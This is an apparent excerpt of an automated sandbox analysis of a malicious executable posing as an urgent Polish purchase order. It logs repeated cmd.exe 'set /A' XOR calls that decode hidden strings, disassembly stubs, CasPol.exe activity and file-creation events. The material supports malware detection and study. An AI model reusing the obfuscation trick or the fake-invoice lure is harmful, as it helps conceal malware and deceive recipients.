            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x3B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x07^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x3F^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0D^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x33^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x73^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x27^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0E^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x05^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x39^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x26^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0E^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7F^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x71^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x2E^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x71^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x39^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x26^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7F^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x3B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x05^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x2E^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeCode function: 1_2_10002D20 push eax; ret 1_2_10002D4E
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeCode function: 1_2_05707755 push ebx; iretd 1_2_0570776D
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeCode function: 1_2_057061B8 push es; retf 1_2_057061CF
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeCode function: 1_2_05706EEE push ds; retf 1_2_05706F01
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeCode function: 1_2_057064C9 pushfd ; iretd 1_2_057064D1
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeCode function: 1_2_057048AC push FFFFFF8Ah; iretd 1_2_057048AF
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 137_3_00BA5DE0 push 1000BA25h; ret 137_3_00BA5DE5
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 137_3_00BA5DE0 push 1000BA25h; ret 137_3_00BA5DE5
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 137_3_00BA5DE0 push 1000BA25h; ret 137_3_00BA5DE5
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 137_3_00BA5DE0 push 1000BA25h; ret 137_3_00BA5DE5
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 137_3_00BA5DE0 push 1000BA25h; ret 137_3_00BA5DE5
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 137_3_00BA5DE0 push 1000BA25h; ret 137_3_00BA5DE5
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeCode function: 1_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,1_2_10001A5D
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exe
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: \pilne zamowienie nr5363582 utech maszyny i urzadzenia techniczne jaroslaw koenig sp. k..exeJump to behavior
